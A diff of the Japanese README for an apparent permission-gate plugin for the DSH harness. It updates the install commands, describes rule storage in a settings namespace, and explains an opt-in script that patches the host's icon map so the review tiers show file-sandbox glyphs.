+| `0.1.5-rc.1` 以上 | `dsh plugin --profile web add github:drscrewdriver/dsh-perm-gate#sync/0.1.5-from-main`（3.x ライン；npm の dist-tag は未公開 —— `@latest` は同じコードの 2.x パッケージングをインストールします） |
 | `0.1.1-rc.2` まで | `dsh plugin --profile web add dsh-perm-gate@legacy` |
 
-DSH は `engines.dsh` を強制しないため、tag が選択メカニズムであり、互換性ゲート
-そのものではありません。単一ビルドが両ラインをカバーする理由と tag の公開方法については、
+DSH は `engines.dsh` を強制しないため、tag と ref は選択メカニズムであり、互換性
+ゲートそのものではありません。ラインと tag の公開レイアウトについては
 [RELEASING.md](./RELEASING.md) を参照してください。
 
 ## 公式 CLI でインストール
@@ -72,6 +73,11 @@ profile の `cordis.yml` にプラグインを追加します：
     defaultAction: ask              # allow | ask | deny
 ```
 
+2.6.0 から、ルール本体は `dsh-perm-gate-rules` settings 名前空間に保存され、変更の
+たびにゲートがその場で再コンパイルされます。上記の YAML ファイルは任意になりました。
+名前空間が未設定の間だけ読み込まれ、プラグインが最初にルールを書き込む際（許可リスト
+の承認、または設定 UI での編集）にファイルのルールが自動的に取り込まれます。
+
 まずは [examples/permissions.example.yaml](./examples/permissions.example.yaml)
 から始め、profile を再読込してください。
 
@@ -89,13 +95,21 @@ dsh profile reload --profile web
 
 ## **DSH** アップグレード後：入力欄アイコンのパッチを再適用
 
-「自动审查（高权限）」が「自动审查」と同じ盾＋目のアイコンを表示するのは、
+「自动审查」と「自动审查（高权限）」の 2 つのティアにアイコンが付くのは、
 `scripts/patch-permission-glyph.mjs` が **DSH ホストパッケージ内の閉じた Map** に
-その項目を追加したからにすぎません。DSH はプラグイン提供ティアに**設計上アイコンを
-与えません** —— その Map 自身のコメントが *"host-configured names outside the design
-set get none"* と述べています。プラグインが影響できる option オブジェクトは
-`{value, name, description}` しか運ばないため、代わりに使えるプラグイン側のシームは
-存在しません。
+それらを追加したからにすぎません ——「自动审查」は `workspace-write` の盾＋鉛筆を、
+「自动审查（高权限）」は `danger-full-access` の盾＋感嘆符をコピーしており、それぞれが
+実際に共有するファイルサンドボックスのグリフになります。DSH はプラグイン提供ティアに
+**設計上アイコンを与えません** —— その Map 自身のコメントが *"host-configured names
+outside the design set get none"* と述べています。プラグインが影響できる option
+オブジェクトは `{value, name, description}` しか運ばないため、代わりに使えるプラグイン側の
+シームは存在しません。
+
+スクリプトは取得元のキーを**解決**します（`["<key>",` を先に、次にホストが使う定数別名 ——
+0.1.5 の `danger-full-access` は `[FULL_ACCESS,`）。DSH はこの設計セットを一度変更して
+います —— 0.1.2 には `permissive` のグリフがあり、0.1.5 には `read-only` /
+`workspace-write` / `danger-full-access` しかありません。解決できないキーは、Map が実際に
+持つキーと一緒に報告されるため、ティアの付け替えは `GLYPH_TARGETS` の 1 行で済みます。
 
 このパッチは**ホスト**のファイルを書き換えるので、**DSH のアップグレードや再インストールで
 失われます**。*本プラグイン*のアップグレードでは失われません。アイコンは元々プラグインの
@@ -114,11 +128,15 @@ dsh profile reload --profile web
 プラグインが許可なく自分の harness を書き換えてよい理由はありません。適用の有無にかかわらず
 DSH の動作に影響はなく、ティア自体はそのまま機能します。
 
-このスクリプトは冪等（2 回目は no-op）で、バックアップは 1 度だけ取り、壊れたスライスを
-書き込もうとしません —— 結果に対して `node --check` を実行し、失敗すればバックアップを
-復元します —— したがって DSH アップグレードのたびに無条件で再実行して安全です。
-実行中の `node` バイナリからパッケージを逆算するため、nvm のバージョン変更や
-インストール symlink の貼り替えでも壊れません。
+このスクリプトは冪等（2 回目は no-op）で、バックアップは 1 度だけ取り、2 つのグリフは
+両方適用するか両方とも適用しないか（解決できない取得元キーは拒否であり、部分適用では
+ありません）のいずれかで、壊れたスライスを書き込もうとしません —— 結果に対して
+`node --check` を実行し、失敗すればバックアップを復元します —— したがって DSH
+アップグレードのたびに無条件で再実行して安全です。呼び出し元の profile スコープを先に、
+CLI インストールを次に探すため、nvm のバージョン変更やインストール symlink の貼り替えでも
+壊れません。マシンに複数の DSH インストールがある場合、**パッチを当てなかった**方は出力に
+列挙されます —— 目の前の UI を提供しているのはそのうち 1 つだけなので、必要ならそのパスを
+引数で明示してください。
 
 **プラグインを再インストールしてもアイコンは戻りません。**
 `dsh plugin --profile web add …` は profile ディレクトリ内の pnpm に引数を転送し、
@@ -194,10 +212,12 @@ DSH の bundle patch は `permission.config.presets` を key 単位でマージ
 します。profile を再読込して `cordis.patch.yml` を再適用し、後から読み込まれる
 プラグインが `presets` を上書きしていないか確認してください。
 
-**「自动审查（高权限）」の入力欄アイコンが消えた。**
+**「自动审查」ティアの入力欄アイコンが消えた。**
 DSH のアップグレードまたは再インストールが、パッチを当てたホスト bundle を置き換え
 ました。プラグインを再インストールしても戻りません。
-`npx dsh-perm-gate-patch-glyph` を実行して再読込してください。
+`npx dsh-perm-gate-patch-glyph` を実行して再読込してください。取得元キーが無いと
+報告された場合は DSH がグリフ表を再度変更しています —— エラーが現在のキー一覧を
+示すので、`GLYPH_TARGETS` の該当ティアを付け替えてください。
 ティア自体は影響を受けません —— パッチなしでもラベルとゲートは動作します。
 
 **ルールファイルがあるのに `--list` が `ruleCount: 0` を返す。**